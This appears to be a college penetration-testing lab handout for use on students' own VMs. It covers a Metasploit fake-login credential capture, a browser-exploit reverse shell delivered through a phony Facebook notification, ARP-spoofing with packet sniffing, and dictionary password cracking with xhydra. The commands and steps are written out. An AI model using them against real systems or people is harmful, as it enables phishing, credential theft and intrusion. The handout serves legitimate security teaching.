Types of Attacks

Introduction

In the previous lab, you learned how to perform penetration testing on a vulnerable (target) server. You learned how to perform scanning and enumeration, and then ran vulnerability testing software (eg. Metasploit) to gain access to your Windows server.

In this lab, students will learn other methods of vulnerability testing to gain access to vulnerable servers:

This lab will allow students to identify and practice common types of attacks that occur on targeted computer systems.

First, students will be exposed to Client-side attacks (usually initiated by the server's users) including Malicious web-page Payloads, and IP Spoofing (Man in the Middle) attacks.

Then, students will focus on Server-side attacks such as Server-side Injection, and Password attacks.

Objectives

Access a server by creating a webpage using the <iframe> tag to redirect a user to a Metasploit exploit in order to gain access to the computer system.

Understand how phishing can be used to have the user inadvertantly activate (trigger) HTML code to access a vulnerable server via a web-browser.

Perform IP Spoofing (Man in the Middle) attacks in order to obtain useful information between a connect between computers.

Access and manipulate a database server to gain access into the targeted server.

Use a password cracking program to discover and access user accounts, and possibly root access.

Course Notes

Performing Lab 4

require the permission of Server Owner (preferably in writing). Students

must either use their VMs, use the IFS lab (if available), or sign an agreement to use the Tank server when practising these computer system intrusion methods.

Task #1: Web-browser Redirect (Phishing) Attacks

This section will demonstrate the vulnerability of a computer system
with one of its weakest links: Humans. You will be using the Metasploit framework to create an attack on your server that will exploit and gain access to your target machine. You will also learn how you can redirect users to this attack site to deliver the malicious payload to that targeted computer.
INSTRUCTIONS:

Metasploit is a very versatile tool for penetration testing. In addition to gaining access to "targeted" computer systems by using the Armitage frontend, other strategies such as lurking to gain access (via reverse shell) by redirecting web-browser traffic are also available.

In this section, we will be using the mfs-console to issue commands to exploit via the web-browser. Before we start, we should update our Metasploit Framework. In order to achieve this, we will update the older version of Metasploit that came with our Kali Linux edition with a new version:

Using The MSF Console

msfconsole is a shell that allows penetration testers to issue commands when working with Metasploit. For example, IFS students in the degree program are expected to perform penetration testing more in the msfconsole than using Metasploit GUIs like Armatage!

We will be running the msfconsole command to access the command shell, and setup a typical phishing attack.

Login as root user, and issue the command: msfconsole (ignore error, console should eventually load). If problems persist check to see if the Metasploit server is running.
Next, we will be generating an attack payload (code) that can be executed from an html file (via a form button) to gain access to the computer system. Perform the following steps to create this payload (html) file:

In the msfconsole, issue the following commands:

use auxiliary/server/capture/http_basic
show options
set REALM Facebook Gateway
set URIPATH /
run

Note the LOCAL IP ADDRESS. You will be entering that address in a web-browser on your targeted Windows server.

Your attack server (running Metasploit) is now "lurking" until the user enters data in a windows dialog box.

Disable Internet Explorer Enhanced Security
In order to demonstrate this attack, we will disable Internet Explorer Enhanced Security. Perform the instructions below to disable this feature.

Switch to your vulnerable Windows server, make certain that you are logged in as Administrator.

Open the Control Panel, select Add or Remove Programs, select Add/Remove Windows Components. Click to select Internet Explorer Enhanced Security Configuration and click Details. Unclick the checkboxes for admin and all other users and then click Next.

Login into a regular user account and open a web-browser.

Enter the IP ADDRESS for the attack web-site. Enter a username and password when prompted by the dialog box

Now, switch to your attack machine (i.e. host), and you should see a notification of the exploit. Where you able to determine the username and password?

Did you think it would be harder to exploit a machine in this way?

How popular do you think this type of human-based attack is?

How can you prevent this type of attack from occurring on a "hardened system"?

Record your findings in your lab log-book.

The Phishing Attack (For Interest Only)

WARNING! Only try this for penetration testing on your VMs or on servers that you have permission to perform penetration testing!

Only You have created a mechanism to gain access to a vulnerable system by using the targeted system's web-browser. All the penetration tester needs to do, is to set an elaborate "trap" to redirect the user to your host's IP_ADDRESS, disguised as a regular link.

Here is how simple (subtle) it can be:

Perform a Google search to use msfconsole to setup a "reverse shell attack" by entering the console commands:

use windows/browser/ms10_002_aurora

set generic/shell_reverse tcp

set LHOST (your attack host IP ADDRESS)

set URIPATH /

set LPORT 7371

set SRVPORT 80

exploit

Create a "phony" facebook notification for the "targeted" user on the system (this is where the reconnaissance (information gathering) phase comes in handy such as e-mail usernames and facebook accounts.

We could then send this HTML file via an e-mail to the user (in this case masquerading as a facebook notification. You could simulate this attack for demonstration by creating the html file in your Windows server, and load this file with a web-browser (like Internet Explorer).

Another approach would be to send a "phony" notification with links to the facebook "login" page with the <iframe> element.

Proceed to Task #2

Answer the Task #1 observations / questions in your lab log book.

Task #2: IP Spoofing (Man in the Middle) Attacks / Packet Sniffing

This section will demonstrate an IP Spoofing attack (sometimes
referred to as "arp poisoning") where the target server is "tricked"
into communicating with a server that assumes has the correct MAC
address. The attacker can then "feed packets" to the destination allowing for an uninterupted session to obtain information such as usernames and passwords.

INSTRUCTIONS:

We will be using your Kali Linux host machine, Vulnerable Windows VM, and Vulnerable Linux VM for this section.

Note the IP Address of your Windows server.

Make certain that your Windows machine is running an FTP

server. Set up the FTP server to only allow users to access the FTP

server by username and password (possibly not required from default installation and startup).

For demonstration purposes of this "man in the middle" attack, open a command prompt, and issue the following MS-Windows command: ping LINUX_IP_ADDR -t

You should now see proof of a connection between your vulnerable Windows and Linux servers.

Switch to your vulnerable Linux server, open a shell terminal, and note the IP Address of your vulnerable Linux server.

Open another shell terminal, and issue the following Linux command to continuously "ping" the Windows server: ping WINDOWS_IP_ADDR

We will now trick the Windows server into thinking that the attack (Kali Linux or "host") server is the destination server.

Switch to your Kali Linux (host) server, and open a shell terminal.

While in the host (attack) machine, issue the following Linux command:

sudo arpspoof -t WINDOWS_IP_ADDR LINUX_IP_ADDR

We need to continue the "man in the middle" attack by now
performing the same manuever for the Linux VM. While still in the host (attack) machine, open another shell terminal and issue the following
Linux command:

sudo arpspoof -t LINUX_IP_ADDR_LINUX WINDOWS_IP_ADDR

Switch to first your vulnerable Windows machine to view the pings. What do you notice? Do the same for your vulnerable Linux machine. Record your findings in your lab log-book.

Connection DisconnectedWhen initionally performing an

"IP Spoof", the connection between the machines is temporary broken. In

order to re-establish a connection (via the "man in the middle") the attacker must establish IP FORWARDING.

To complete the "man in the middle" attack, you are required to establish IP FORWARDING. Open another shell window in your host (attack) machine, and issue the following Linux command in your attack host:

Switch to your vulnerable Windows and Linux machines. Is the connection (using the ping command) re-established? Record your findings in your lab log-book.

Obtaining Username / Password InformationOne of the main reasons for a "man in the middle" attack is to obtain sensitive information such as a username and password for further exploitation. A Packet Sniffer is a useful tool when using a "man in the middle attack". Throughout your journey in the area of Internet Security, you will soon learn there
is an ambundence of tools, many of which do the same thing (including packet sniffers). For the remainder of this section we will use a packet sniffer tool called dsniff.

On an available shell terminal on your host (attack) server, and issue the following Linux command: dsniff(tip: Use the command: find -P . | grep dsniff to locate dsniff superuser executable)

This packet sniffer program will lurk until a user from the Linux VM establishes a connection with the Windows VM FTP SERVER.

Switch to your vulnerable Linux server, and establish an FTP connection with the Windows FTP server.

FTP Doesn't Work / Alternative Arp Posioning Method

Students have noticed that when using Kali Linux as a host machine for the
vulnerable Windows and Linux VMs they experience a problem when using
the arpspoof command. You can use the ettercap command as an alternative command which does
not require port forwarding and performs the dsniff command as well.

What do you notice? Is this information sufficent to logon as a Windows system user? Record your findings in your lab log-book.

Return to your vulnerable Linux server, and close the FTP connection with the Windows server.

Switch back to your attack server. What information does dsniff provide?

What steps would a security analyst implement in order to reduce the possibility of a "man in the middle" attack?

Record your findings/answers in your lab log-book.

Proceed to Task #3

Answer Task #2 observations / questions in your lab log book.

Task #3: Database Injection Attack

SQL injection attacks are basically in the form of introducing or "injecting" malicious code via the input (form) for the SQL/MYSQL database, in order to gain access to the backend database. There are many different methods of injection attacks. We will demonstrate a fairly common method of injection attack which exploits a weakness for the MYSQL server (that fail to sanitize user input. In this case, the user inserting illegal characters (single quote i) within an established web-based database form.

In this section, we will only expose the student to the concept of an injection attack. You are NOT required to setup the MYSQL server, or run a SQL injection attack on your vulnerable machines...

Try to explain how this last editing session prevented this SQL injection attack. Record your observations/answers in your lab log-book.

Proceed to Task #4.

Answer Task #3 observations / questions in your lab log book.

Task #4: Password Cracking Attack

In this section, you will learn another technique to crack passwords by
obtaining usernames from e-mail addresses, and then running a password
cracking program to hopefully gain access to an account on a vulnerable Windows server that contains a weak password. Then, after gaining access to the account, we will then use a series of techniques to gain access to the
administrator's account.

INSTRUCTIONS:

Go to your vulnerable Windows server, create a username called weak that contains a very weak password (no special characters, just words that could be contained in a dictionary).

How could you obtain usernames (eg. e-mail usernames) for a targetted computer system? (review your labs and notes during the Reconnaissance Phase). Record your answer in your lab log-book.

Assuming that you have obtained a username (i.e. username: weak) from the reconnaissance phase. We will now be using a tool to gain access to the account on the targeted Windows server.

Cain Password DictionaryA password cracking program requires a dictionary of common passwords. The file cain.txt is a popular dictionary of typical or common passwords that can be used to test for weak passwords on a server.

We need to download a dictionary file containing many of the weak password combinations to help crack a user's weak password. You can perform a Netsearch in order to save this dictionary as a text file.

Decompress the file by issuing the following Linux command: bunzip2 cain.txt.bz2

xhydraxhydra is a graphical frontend of a program

that scans open ports, and attempts to crack account passwords that are
weak using a dictionary file of potential passwords. Of course, you

could have performed this task manually by using nmap to scan open ports, and use other password cracking tools (such as Cain and Able), but xhydra performs these operations automatically.

To launch the xhydra application as root (unless you are already in root), issue the following Linux command: sudo xhydra

In the initial application window (ie. Target tab), enter the WINDOWS_IP_ADDR in the Target textbox.

Under the Protocol list-box, select ftp.

In the Output Options section, check Be verbose, and check Show Attempts.

Move to the next screen by clicking on the Passwords tab.

In the Username section, type the username called weak.

In the Password section, click on the passwords list radio button, and then click on the passwords list text-box in order to browse to the /root/cain.txt dictionary (on your Kali Linux system) that contains common passwords that you downloaded and decompressed.

At the bottom of the screen, check Try login as password, and click Try Empty Password.

Click on the Start tab, and click on the Start button (at the bottom of the screen) to begin the attack.

This attack may take several minutes to complete.

Check the output from the Password Cracking Attempt. Did it list any usernames and passwords? If so, record the information in your lab log-book.

Gaining Root AccessOnce a penetration tester has access to a system as an unpriviledged user, there are methods to try to identify and gain access to an administrative account.

For example with Linux systems, gaining access to the /etc/passwd file to list users with administrative privedges and gaining access to the /etc/shadow to attempt a crack the root password hash (via the John the Ripper utility).

What sort of harm can be done to this organization if the root account has been hacked?

What sort of password rules should be used to make it harder to penetrate this system?

Sharpening Your Skills (hackthissite.org)

If you are interested in practicing or "honing" your penetration skills, there is a site called http://www.hackthissite.org that allows students to play and practice their skills.

WARNING: You ARE NOT SAFE in leaving personal information on the site. The owner of this site has served jail-time for FRAUD. There is also the possibility that a member of the hacker community may be able to access your personal information and use it for their personal advantage (at your expense).

You have been warned!

Record your findings in your lab log-book.

Proceed to the "Completing the Lab".

Answer Task #4 observations / questions in your lab log book.

Completing the Lab

Arrange evidence for each of these items on your screen, then ask
your instructor to review them and sign off on the lab's completion:

Proof of Windows VM hack from Phishing / Malicious Code.

Packet Sniffing information from Linux to Windows FTP connection.

Demonstation of prevention from Data Injection Attack.

Completed Lab 4 notes.

Preparing for Quizzes

Briefly explain the purpose of a Phishing Attack. How can phishing relate to using malicious code?

Define the term Man in the Middle attack.

Briefly list the steps in a Database Injection attack.

How can a dictionary file be used to crack passwords on a targeted server?

What is a password hash? How can a password hash be cracked?

What can an organization do to prevent passwords on their computer system from being cracked?